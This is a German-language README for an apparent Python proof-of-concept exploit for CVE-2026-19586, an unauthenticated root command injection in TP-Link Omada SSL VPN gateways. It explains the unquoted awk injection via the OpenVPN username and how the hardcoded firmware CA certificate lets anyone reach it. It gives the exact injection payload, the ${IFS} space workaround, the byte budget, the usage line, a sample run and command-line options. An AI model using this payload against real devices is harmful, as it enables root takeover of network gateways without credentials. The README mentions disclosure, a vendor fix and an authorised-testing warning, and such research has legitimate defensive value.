
Python-PoC, das CVE-2026-19586 ausnutzt, eine unauthentifizierte Command-Injection in TP-Link Omada SSL VPN, die über OpenVPN-Benutzernamen-Injection beliebige Befehle als root ausführt.
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586)
Eine Command-Injection-Schwachstelle (CWE-78) im SSL-VPN-Authentifizierungspfad der TP-Link Omada Gateway-Firmware ermöglicht es einem nicht authentifizierten Angreifer, beliebige Befehle als root auszuführen. Wenn der OpenVPN-basierte SSL-VPN-Server aktiviert ist, übergibt OpenVPN den vom verbindenden Client übermittelten Benutzernamen an /usr/sbin/checkpsw.sh, das Skript, das an die auth-user-pass-verify-Direktive gebunden ist. Dieses Skript fügt den Benutzernamen unquotiert in ein awk-Programm ein, sodass ein Benutzername, der ein doppeltes Anführungszeichen enthält, das awk-String-Literal schließt, in das er eingefügt wird, und der Rest als awk-Quellcode geparst wird.
Ein awk-BEGIN-Block wird einmal ausgeführt, bevor die erste Eingabezeile gelesen wird, sodass der injizierte system()-Aufruf ausgeführt wird, bevor das übermittelte Passwort mit irgendetwas verglichen wird – als root.
Der Server erfordert kein Client-Zertifikat und enthält keinen tls-auth- oder tls-crypt-Schlüssel, und sein CA-Zertifikat ist fest in das Firmware-Image eingebettet. Die ca.crt in diesem Repository ist dieses Zertifikat und ist auf jedem Gerät mit der betroffenen Firmware identisch, sodass jeder Angreifer, der den VPN-Port erreichen kann, den TLS-Handshake abschließen und die Injection ohne Anmeldedaten und ohne vorherigen Zugriff auf das Gerät erreichen kann.
Der Benutzername darf keine wörtlichen Leerzeichen enthalten, da die Shell die unquotierte Expansion in separate Argumente aufteilt, bevor awk sie sieht. Verwenden Sie stattdessen ${IFS}, was die von system() aufgerufene Shell wieder in ein Leerzeichen expandiert. OpenVPN begrenzt den Benutzernamen auf 128 Bytes; das Payload-Gerüst verwendet davon 22, sodass 106 für den Befehl übrig bleiben.
Dieser Proof of Concept (PoC) wurde gegen den TP-Link Omada ER7212PC v2 (Firmware 6.1.0.19) getestet. Das verwundbare Skript wird über die gesamte Omada-Gateway-Reihe hinweg geteilt; Pfade, Zeilennummern und Verhalten können bei anderen Modellen oder Firmware-Versionen abweichen.
Dieser PoC liefert eine Benutzernamen-Payload, die als root auf dem Zielgerät ausgeführt wird. Dieses Problem wurde an TP-Link gemeldet und in den im Advisory aufgeführten Firmware-Versionen behoben; führen Sie dies nur gegen Hardware aus, die Ihnen gehört oder für deren Test Sie ausdrücklich autorisiert sind.
$ sudo python3 cve-2026-19586.py <target> -c '<command>'
Der openvpn-Client ist erforderlich und muss als root ausgeführt werden, da er CAP_NET_ADMIN benötigt, um das tun-Gerät zu erstellen. Dies ist eine Anforderung des lokalen OpenVPN-Clients, nicht des Ziels.
Beispielausführung:
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
Target : 10.0.0.100:1194/udp
CA cert : ca.crt
Command : id>/tmp/proof
Username : x";BEGIN{system("id>/tmp/proof")};#
[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3
[openvpn client output]
Der Befehl wird auf dem Gerät ausgeführt, bevor die Authentifizierung abgeschlossen ist, sodass der OpenVPN-Client selbst keine Verbindung herstellen wird. Der Authentifizierungsversuch schlägt fehl und der Client beendet sich, was zu erwarten ist.
| Argument | Beschreibung |
|---|
target | Zielgerät-IP oder Hostname |
-c, --command | Befehl, der als root auf dem Ziel ausgeführt werden soll. Verwenden Sie ${IFS} anstelle von Leerzeichen |
-p, --port | SSL-VPN-UDP-Port (Standard: 1194) |
--ca | Aus der Firmware extrahiertes CA-Zertifikat (Standard: ca.crt) |